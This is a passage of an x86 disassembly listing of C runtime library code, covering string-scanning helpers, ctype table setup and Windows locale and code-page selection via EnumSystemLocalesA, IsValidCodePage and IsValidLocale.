jnz short loc_42CDCE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42CDAE: ; CODE XREF: sub_42CD60+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42CDAE
jmp short loc_42CDD7
; ---------------------------------------------------------------------------
loc_42CDCE: ; CODE XREF: sub_42CD60+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42CDD7: ; CODE XREF: sub_42CD60+3Bj
; sub_42CD60+6Cj
jmp short loc_42CD64
; ---------------------------------------------------------------------------
loc_42CDD9: ; CODE XREF: sub_42CD60+Cj
mov esp, ebp
pop ebp
retn
sub_42CD60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CDE0 proc near ; CODE XREF: .data:0042CA6Dp
; .data:0042CAC7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42CDEE
jmp loc_42CE71
; ---------------------------------------------------------------------------
loc_42CDEE: ; CODE XREF: sub_42CDE0+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4DE238
jz short loc_42CE71
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_415C60
add esp, 8
loc_42CE71: ; CODE XREF: sub_42CDE0+9j
; sub_42CDE0+18j
pop ebp
retn
sub_42CDE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 30h
mov dword ptr [ebp-2Ch], 0
mov dword ptr [ebp-28h], 0
cmp dword_4DE074, 0
jz loc_42D1D1
cmp dword_4DE084, 0
jnz short loc_42CED0
push offset dword_4DE084
push 1004h
xor eax, eax
mov ax, word_4DE1F0
push eax
push 0
call sub_430D00
add esp, 10h
test eax, eax
jz short loc_42CED0
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42CED0: ; CODE XREF: .data:0042CEA8j
; .data:0042CEC9j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_4150C0
add esp, 10h
mov [ebp-30h], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_4150C0
add esp, 10h
mov [ebp-1Ch], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 101h
call sub_4150C0
add esp, 10h
mov [ebp-2Ch], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_4150C0
add esp, 10h
mov [ebp-28h], eax
cmp dword ptr [ebp-30h], 0
jz short loc_42CF4C
cmp dword ptr [ebp-1Ch], 0
jz short loc_42CF4C
cmp dword ptr [ebp-2Ch], 0
jz short loc_42CF4C
cmp dword ptr [ebp-28h], 0
jnz short loc_42CF51
loc_42CF4C: ; CODE XREF: .data:0042CF38j
; .data:0042CF3Ej ...
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42CF51: ; CODE XREF: .data:0042CF4Aj
mov ecx, [ebp-2Ch]
mov [ebp-18h], ecx
mov dword ptr [ebp-20h], 0
jmp short loc_42CF69
; ---------------------------------------------------------------------------
loc_42CF60: ; CODE XREF: .data:0042CF83j
mov edx, [ebp-20h]
add edx, 1
mov [ebp-20h], edx
loc_42CF69: ; CODE XREF: .data:0042CF5Ej
cmp dword ptr [ebp-20h], 100h
jge short loc_42CF85
mov eax, [ebp-18h]
mov cl, [ebp-20h]
mov [eax], cl
mov edx, [ebp-18h]
add edx, 1
mov [ebp-18h], edx
jmp short loc_42CF60
; ---------------------------------------------------------------------------
loc_42CF85: ; CODE XREF: .data:0042CF70j
lea eax, [ebp-14h]
push eax
mov ecx, dword_4DE084
push ecx
call dword_4E04B4 ; GetCPInfo
test eax, eax
jnz short loc_42CF9F
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42CF9F: ; CODE XREF: .data:0042CF98j
cmp dword ptr [ebp-14h], 2
jbe short loc_42CFAA
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42CFAA: ; CODE XREF: .data:0042CFA3j
mov edx, [ebp-14h]
and edx, 0FFFFh
mov dword_447480, edx
cmp dword_447480, 1
jle short loc_42D019
lea eax, [ebp-0Eh]
mov [ebp-18h], eax
jmp short loc_42CFD3
; ---------------------------------------------------------------------------
loc_42CFCA: ; CODE XREF: .data:loc_42D017j
mov ecx, [ebp-18h]
add ecx, 2
mov [ebp-18h], ecx
loc_42CFD3: ; CODE XREF: .data:0042CFC8j
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42D019
mov ecx, [ebp-18h]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_42D019
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax]
mov [ebp-20h], ecx
jmp short loc_42CFFF
; ---------------------------------------------------------------------------
loc_42CFF6: ; CODE XREF: .data:0042D015j
mov edx, [ebp-20h]
add edx, 1
mov [ebp-20h], edx
loc_42CFFF: ; CODE XREF: .data:0042CFF4j
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp-20h], ecx
jg short loc_42D017
mov edx, [ebp-2Ch]
add edx, [ebp-20h]
mov byte ptr [edx], 0
jmp short loc_42CFF6
; ---------------------------------------------------------------------------
loc_42D017: ; CODE XREF: .data:0042D00Aj
jmp short loc_42CFCA
; ---------------------------------------------------------------------------
loc_42D019: ; CODE XREF: .data:0042CFC0j
; .data:0042CFDCj ...
push 0
push 0
push 0
mov eax, [ebp-30h]
add eax, 2
push eax
push 100h
mov ecx, [ebp-2Ch]
push ecx
push 1
call sub_429B60
add esp, 1Ch
test eax, eax
jnz short loc_42D042
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42D042: ; CODE XREF: .data:0042D03Bj
mov edx, [ebp-30h]
mov word ptr [edx], 0
mov eax, [ebp-28h]
mov [ebp-24h], eax
mov dword ptr [ebp-20h], 0
jmp short loc_42D062
; ---------------------------------------------------------------------------
loc_42D059: ; CODE XREF: .data:0042D07Ej
mov ecx, [ebp-20h]
add ecx, 1
mov [ebp-20h], ecx
loc_42D062: ; CODE XREF: .data:0042D057j
cmp dword ptr [ebp-20h], 100h
jge short loc_42D080
mov edx, [ebp-24h]
mov ax, [ebp-20h]
mov [edx], ax
mov ecx, [ebp-24h]
add ecx, 2
mov [ebp-24h], ecx
jmp short loc_42D059
; ---------------------------------------------------------------------------
loc_42D080: ; CODE XREF: .data:0042D069j
push 0
push 0
mov edx, [ebp-1Ch]
add edx, 2
push edx
push 100h
mov eax, [ebp-28h]
push eax
push 1
call sub_430FA0
add esp, 18h
test eax, eax
jnz short loc_42D0A7
jmp loc_42D192
; ---------------------------------------------------------------------------
loc_42D0A7: ; CODE XREF: .data:0042D0A0j
mov ecx, [ebp-1Ch]
mov word ptr [ecx], 0
cmp dword_447480, 1
jle short loc_42D113
lea edx, [ebp-0Eh]
mov [ebp-18h], edx
jmp short loc_42D0C9
; ---------------------------------------------------------------------------
loc_42D0C0: ; CODE XREF: .data:loc_42D111j
mov eax, [ebp-18h]
add eax, 2
mov [ebp-18h], eax
loc_42D0C9: ; CODE XREF: .data:0042D0BEj
mov ecx, [ebp-18h]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_42D113
mov eax, [ebp-18h]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_42D113
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx]
mov [ebp-20h], eax
jmp short loc_42D0F5
; ---------------------------------------------------------------------------
loc_42D0EC: ; CODE XREF: .data:0042D10Fj
mov ecx, [ebp-20h]
add ecx, 1
mov [ebp-20h], ecx
loc_42D0F5: ; CODE XREF: .data:0042D0EAj
mov edx, [ebp-18h]
xor eax, eax
mov al, [edx+1]
cmp [ebp-20h], eax
jg short loc_42D111
mov ecx, [ebp-20h]
mov edx, [ebp-30h]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_42D0EC
; ---------------------------------------------------------------------------
loc_42D111: ; CODE XREF: .data:0042D100j
jmp short loc_42D0C0
; ---------------------------------------------------------------------------
loc_42D113: ; CODE XREF: .data:0042D0B6j
; .data:0042D0D2j ...
mov eax, [ebp-30h]
add eax, 2
mov off_447274, eax
mov ecx, [ebp-1Ch]
add ecx, 2
mov off_447278, ecx
cmp dword_4DE1DC, 0
jz short loc_42D144
push 2
mov edx, dword_4DE1DC
push edx
call sub_415C60
add esp, 8
loc_42D144: ; CODE XREF: .data:0042D131j
mov eax, [ebp-30h]
mov dword_4DE1DC, eax
cmp dword_4DE1E0, 0
jz short loc_42D166
push 2
mov ecx, dword_4DE1E0
push ecx
call sub_415C60
add esp, 8
loc_42D166: ; CODE XREF: .data:0042D153j
mov edx, [ebp-1Ch]
mov dword_4DE1E0, edx
push 2
mov eax, [ebp-2Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp-28h]
push ecx
call sub_415C60
add esp, 8
xor eax, eax
jmp loc_42D21C
; ---------------------------------------------------------------------------
loc_42D192: ; CODE XREF: .data:0042CECBj
; .data:loc_42CF4Cj ...
push 2
mov edx, [ebp-30h]
push edx
call sub_415C60
add esp, 8
push 2
mov eax, [ebp-1Ch]
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, [ebp-2Ch]
push ecx
call sub_415C60
add esp, 8
push 2
mov edx, [ebp-28h]
push edx
call sub_415C60
add esp, 8
mov eax, 1
jmp short loc_42D21C
; ---------------------------------------------------------------------------
loc_42D1D1: ; CODE XREF: .data:0042CE9Bj
mov off_447274, offset word_44727E
mov off_447278, offset word_44727E
push 2
mov eax, dword_4DE1DC
push eax
call sub_415C60
add esp, 8
push 2
mov ecx, dword_4DE1E0
push ecx
call sub_415C60
add esp, 8
mov dword_4DE1DC, 0
mov dword_4DE1E0, 0
xor eax, eax
loc_42D21C: ; CODE XREF: .data:0042D18Dj
; .data:0042D1CFj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D220 proc near ; DATA XREF: .data:00447974o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42D220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D230 proc near ; CODE XREF: .data:00426D1Ep
; sub_4273D0+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42D244: ; CODE XREF: sub_42D230+1Fj
mov al, [edx]
or al, al
jz short loc_42D251
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42D244
; ---------------------------------------------------------------------------
loc_42D251: ; CODE XREF: sub_42D230+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_42D258: ; CODE XREF: sub_42D230+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_42D266
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42D258
loc_42D266: ; CODE XREF: sub_42D230+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_42D230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D270 proc near ; CODE XREF: .data:00426C3Dp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42D284: ; CODE XREF: sub_42D270+1Fj
mov al, [edx]
or al, al
jz short loc_42D291
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42D284
; ---------------------------------------------------------------------------
loc_42D291: ; CODE XREF: sub_42D270+18j
mov esi, [ebp+arg_0]
loc_42D294: ; CODE XREF: sub_42D270+2Fj
mov al, [esi]
or al, al
jz short loc_42D2A4
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42D294
lea eax, [esi-1]
loc_42D2A4: ; CODE XREF: sub_42D270+28j
add esp, 20h
pop esi
leave
retn
sub_42D270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D2B0 proc near ; CODE XREF: sub_4271E0+D3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4DE228, 0
jnz short loc_42D2E2
call sub_42DD80
test eax, eax
jz short loc_42D2D2
mov eax, dword_4E0398
mov [ebp+var_8], eax
jmp short loc_42D2D9
; ---------------------------------------------------------------------------
loc_42D2D2: ; CODE XREF: sub_42D2B0+16j
mov [ebp+var_8], offset sub_42DDD0
loc_42D2D9: ; CODE XREF: sub_42D2B0+20j
mov ecx, [ebp+var_8]
mov dword_4DE228, ecx
loc_42D2E2: ; CODE XREF: sub_42D2B0+Dj
cmp [ebp+arg_0], 0
jnz short loc_42D2F2
call sub_42DBD0
jmp loc_42D3BE
; ---------------------------------------------------------------------------
loc_42D2F2: ; CODE XREF: sub_42D2B0+36j
mov edx, [ebp+arg_0]
mov dword_4DE218, edx
cmp dword_4DE218, 0
jz short loc_42D324
mov eax, dword_4DE218
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42D324
push offset dword_4DE218
push 40h
push offset off_4480A0
call sub_42D4B0
add esp, 0Ch
loc_42D324: ; CODE XREF: sub_42D2B0+52j
; sub_42D2B0+5Ej
mov edx, [ebp+arg_0]
add edx, 40h
mov dword_4DE21C, edx
cmp dword_4DE21C, 0
jz short loc_42D359
mov eax, dword_4DE21C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42D359
push offset dword_4DE21C
push 16h
push offset off_447FE8
call sub_42D4B0
add esp, 0Ch
loc_42D359: ; CODE XREF: sub_42D2B0+87j
; sub_42D2B0+93j
mov dword_4DE220, 0
cmp dword_4DE218, 0
jz short loc_42D39D
mov edx, dword_4DE218
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42D39D
cmp dword_4DE21C, 0
jz short loc_42D396
mov ecx, dword_4DE21C
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42D396
call sub_42D540
jmp short loc_42D39B
; ---------------------------------------------------------------------------
loc_42D396: ; CODE XREF: sub_42D2B0+D0j
; sub_42D2B0+DDj
call sub_42D930
loc_42D39B: ; CODE XREF: sub_42D2B0+E4j
jmp short loc_42D3BE
; ---------------------------------------------------------------------------
loc_42D39D: ; CODE XREF: sub_42D2B0+BAj
; sub_42D2B0+C7j
cmp dword_4DE21C, 0
jz short loc_42D3B9
mov eax, dword_4DE21C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42D3B9
call sub_42DAD0
jmp short loc_42D3BE
; ---------------------------------------------------------------------------
loc_42D3B9: ; CODE XREF: sub_42D2B0+F4j
; sub_42D2B0+100j
call sub_42DBD0
loc_42D3BE: ; CODE XREF: sub_42D2B0+3Dj
; sub_42D2B0:loc_42D39Bj ...
cmp dword_4DE220, 0
jnz short loc_42D3CE
xor eax, eax
jmp loc_42D4AC
; ---------------------------------------------------------------------------
loc_42D3CE: ; CODE XREF: sub_42D2B0+115j
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_42DC00
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42D3FC
mov eax, [ebp+var_4]
and eax, 0FFFFh
push eax
call dword_4E02F0 ; IsValidCodePage
test eax, eax
jnz short loc_42D403
loc_42D3FC: ; CODE XREF: sub_42D2B0+137j
xor eax, eax
jmp loc_42D4AC
; ---------------------------------------------------------------------------
loc_42D403: ; CODE XREF: sub_42D2B0+14Aj
push 1
mov ecx, dword_4DE208
push ecx
call dword_4E02F4 ; IsValidLocale
test eax, eax
jnz short loc_42D41D
xor eax, eax
jmp loc_42D4AC
; ---------------------------------------------------------------------------
loc_42D41D: ; CODE XREF: sub_42D2B0+164j
cmp [ebp+arg_4], 0
jz short loc_42D448
mov edx, [ebp+arg_4]
mov ax, word ptr dword_4DE208
mov [edx], ax
mov ecx, [ebp+arg_4]
mov dx, word ptr dword_4DE224
mov [ecx+2], dx
mov eax, [ebp+arg_4]
mov cx, word ptr [ebp+var_4]
mov [eax+4], cx
loc_42D448: ; CODE XREF: sub_42D2B0+171j
cmp [ebp+arg_8], 0
jz short loc_42D4A7
push 40h
mov edx, [ebp+arg_8]
push edx
push 1001h
mov eax, dword_4DE208
push eax
call dword_4DE228
test eax, eax
jnz short loc_42D46D
xor eax, eax
jmp short loc_42D4AC
; ---------------------------------------------------------------------------
loc_42D46D: ; CODE XREF: sub_42D2B0+1B7j
push 40h
mov ecx, [ebp+arg_8]
add ecx, 40h
push ecx
push 1002h
mov edx, dword_4DE224
push edx
call dword_4DE228
test eax, eax
jnz short loc_42D490
xor eax, eax
jmp short loc_42D4AC
; ---------------------------------------------------------------------------
loc_42D490: ; CODE XREF: sub_42D2B0+1DAj
push 0Ah
mov eax, [ebp+arg_8]
add eax, 80h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_428B70
add esp, 0Ch
loc_42D4A7: ; CODE XREF: sub_42D2B0+19Cj
mov eax, 1
loc_42D4AC: ; CODE XREF: sub_42D2B0+119j
; sub_42D2B0+14Ej ...
mov esp, ebp
pop ebp
retn
sub_42D2B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D4B0 proc near ; CODE XREF: sub_42D2B0+6Cp
; sub_42D2B0+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_42D4C4: ; CODE XREF: sub_42D4B0:loc_42D52Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_42D52E
cmp [ebp+var_8], 0
jz short loc_42D52E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_431210
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42D512
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_42D52C
; ---------------------------------------------------------------------------
loc_42D512: ; CODE XREF: sub_42D4B0+4Fj
cmp [ebp+var_8], 0
jge short loc_42D523
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42D52C
; ---------------------------------------------------------------------------
loc_42D523: ; CODE XREF: sub_42D4B0+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_42D52C: ; CODE XREF: sub_42D4B0+60j
; sub_42D4B0+71j
jmp short loc_42D4C4
; ---------------------------------------------------------------------------
loc_42D52E: ; CODE XREF: sub_42D4B0+1Aj
; sub_42D4B0+20j
mov esp, ebp
pop ebp
retn
sub_42D4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D540 proc near ; CODE XREF: sub_42D2B0+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE218
push eax
call sub_414EC0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DE214, ecx
mov edx, dword_4DE21C
push edx
call sub_414EC0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DE20C, ecx
mov dword_4DE208, 0
cmp dword_4DE214, 0
jz short loc_42D599
mov [ebp+var_4], 2
jmp short loc_42D5AB
; ---------------------------------------------------------------------------
loc_42D599: ; CODE XREF: sub_42D540+4Ej
mov edx, dword_4DE218
push edx
call sub_42DFE0
add esp, 4
mov [ebp+var_4], eax
loc_42D5AB: ; CODE XREF: sub_42D540+57j
mov eax, [ebp+var_4]
mov dword_4DE210, eax
push 1
push offset sub_42D600
call dword_4E02EC ; EnumSystemLocalesA
mov ecx, dword_4DE220
and ecx, 100h
test ecx, ecx
jz short loc_42D5EC
mov edx, dword_4DE220
and edx, 200h
test edx, edx
jz short loc_42D5EC
mov eax, dword_4DE220
and eax, 7
test eax, eax
jnz short loc_42D5F6
loc_42D5EC: ; CODE XREF: sub_42D540+8Ej
; sub_42D540+9Ej
mov dword_4DE220, 0
loc_42D5F6: ; CODE XREF: sub_42D540+AAj
mov esp, ebp
pop ebp
retn
sub_42D540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D600 proc near ; DATA XREF: sub_42D540+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42DF60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE20C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DE228
test eax, eax
jnz short loc_42D654
mov dword_4DE220, 0
mov eax, 1
jmp loc_42D91E
; ---------------------------------------------------------------------------
loc_42D654: ; CODE XREF: sub_42D600+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE21C
push edx
call sub_431210
add esp, 8
test eax, eax
jnz loc_42D78F
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DE214
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4DE228
test eax, eax
jnz short loc_42D6AE
mov dword_4DE220, 0
mov eax, 1
jmp loc_42D91E
; ---------------------------------------------------------------------------
loc_42D6AE: ; CODE XREF: sub_42D600+98j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DE218
push ecx
call sub_431210
add esp, 8
test eax, eax
jnz short loc_42D6F0
mov edx, dword_4DE220
or edx, 304h
mov dword_4DE220, edx
mov eax, [ebp+var_7C]
mov dword_4DE224, eax
mov ecx, dword_4DE224
mov dword_4DE208, ecx
jmp loc_42D78F
; ---------------------------------------------------------------------------
loc_42D6F0: ; CODE XREF: sub_42D600+C3j
mov edx, dword_4DE220
and edx, 2
test edx, edx
jnz loc_42D78F
cmp dword_4DE210, 0
jz short loc_42D75D
mov eax, dword_4DE210
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE218
push edx
call sub_4312E0
add esp, 0Ch
test eax, eax
jnz short loc_42D75D
mov eax, dword_4DE220
or al, 2
mov dword_4DE220, eax
mov ecx, [ebp+var_7C]
mov dword_4DE224, ecx
mov edx, dword_4DE218
push edx
call sub_414EC0
add esp, 4
cmp eax, dword_4DE210
jnz short loc_42D75B
mov eax, [ebp+var_7C]
mov dword_4DE208, eax
loc_42D75B: ; CODE XREF: sub_42D600+151j
jmp short loc_42D78F
; ---------------------------------------------------------------------------
loc_42D75D: ; CODE XREF: sub_42D600+108j
; sub_42D600+125j
mov ecx, dword_4DE220
and ecx, 1
test ecx, ecx
jnz short loc_42D78F
mov edx, [ebp+var_7C]
push edx
call sub_42DCA0
add esp, 4
test eax, eax
jz short loc_42D78F
mov eax, dword_4DE220
or al, 1
mov dword_4DE220, eax
mov ecx, [ebp+var_7C]
mov dword_4DE224, ecx
loc_42D78F: ; CODE XREF: sub_42D600+69j
; sub_42D600+EBj ...
mov edx, dword_4DE220
and edx, 300h
cmp edx, 300h
jz loc_42D911
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DE214
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4DE228
test eax, eax
jnz short loc_42D7E6
mov dword_4DE220, 0
mov eax, 1
jmp loc_42D91E
; ---------------------------------------------------------------------------
loc_42D7E6: ; CODE XREF: sub_42D600+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DE218
push ecx
call sub_431210
add esp, 8
test eax, eax
jnz loc_42D8B0
mov edx, dword_4DE220
or dh, 2
mov dword_4DE220, edx
cmp dword_4DE214, 0
jz short loc_42D83A
mov eax, dword_4DE220
or ah, 1
mov dword_4DE220, eax
cmp dword_4DE208, 0
jnz short loc_42D838
mov ecx, [ebp+var_7C]
mov dword_4DE208, ecx
loc_42D838: ; CODE XREF: sub_42D600+22Dj
jmp short loc_42D8AE
; ---------------------------------------------------------------------------
loc_42D83A: ; CODE XREF: sub_42D600+217j
cmp dword_4DE210, 0
jz short loc_42D88F
mov edx, dword_4DE218
push edx
call sub_414EC0
add esp, 4
cmp eax, dword_4DE210
jnz short loc_42D88F
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42DCF0
add esp, 8
test eax, eax
jz short loc_42D88D
mov ecx, dword_4DE220
or ch, 1
mov dword_4DE220, ecx
cmp dword_4DE208, 0
jnz short loc_42D88D
mov edx, [ebp+var_7C]
mov dword_4DE208, edx
loc_42D88D: ; CODE XREF: sub_42D600+26Aj
; sub_42D600+282j
jmp short loc_42D8AE
; ---------------------------------------------------------------------------
loc_42D88F: ; CODE XREF: sub_42D600+241j
; sub_42D600+258j
mov eax, dword_4DE220
or ah, 1
mov dword_4DE220, eax
cmp dword_4DE208, 0
jnz short loc_42D8AE
mov ecx, [ebp+var_7C]
mov dword_4DE208, ecx
loc_42D8AE: ; CODE XREF: sub_42D600:loc_42D838j
; sub_42D600:loc_42D88Dj ...
jmp short loc_42D911
; ---------------------------------------------------------------------------
loc_42D8B0: ; CODE XREF: sub_42D600+1FBj
cmp dword_4DE214, 0
jnz short loc_42D911
cmp dword_4DE210, 0
jz short loc_42D911
mov edx, dword_4DE210
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DE218
push ecx
call sub_4312E0
add esp, 0Ch
test eax, eax
jnz short loc_42D911
push 0
mov edx, [ebp+var_7C]
push edx
call sub_42DCF0
add esp, 8
test eax, eax
jz short loc_42D911
mov eax, dword_4DE220
or ah, 1
mov dword_4DE220, eax
cmp dword_4DE208, 0
jnz short loc_42D911
mov ecx, [ebp+var_7C]
mov dword_4DE208, ecx
loc_42D911: ; CODE XREF: sub_42D600+1A1j
; sub_42D600:loc_42D8AEj ...
mov eax, dword_4DE220
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42D91E: ; CODE XREF: sub_42D600+4Fj
; sub_42D600+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_42D600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D930 proc near ; CODE XREF: sub_42D2B0:loc_42D396p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE218
push eax
call sub_414EC0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DE214, ecx
cmp dword_4DE214, 0
jz short loc_42D962
mov [ebp+var_4], 2
jmp short loc_42D974
; ---------------------------------------------------------------------------
loc_42D962: ; CODE XREF: sub_42D930+27j
mov edx, dword_4DE218
push edx
call sub_42DFE0
add esp, 4
mov [ebp+var_4], eax
loc_42D974: ; CODE XREF: sub_42D930+30j
mov eax, [ebp+var_4]
mov dword_4DE210, eax
push 1
push offset sub_42D9B0
call dword_4E02EC ; EnumSystemLocalesA
mov ecx, dword_4DE220
and ecx, 4
test ecx, ecx
jnz short loc_42D9A0
mov dword_4DE220, 0
loc_42D9A0: ; CODE XREF: sub_42D930+64j
mov esp, ebp
pop ebp
retn
sub_42D930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D9B0 proc near ; DATA XREF: sub_42D930+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42DF60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE214
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DE228
test eax, eax
jnz short loc_42DA04
mov dword_4DE220, 0
mov eax, 1
jmp loc_42DAC9
; ---------------------------------------------------------------------------
loc_42DA04: ; CODE XREF: sub_42D9B0+3Ej
lea ecx, [ebp+var_78]
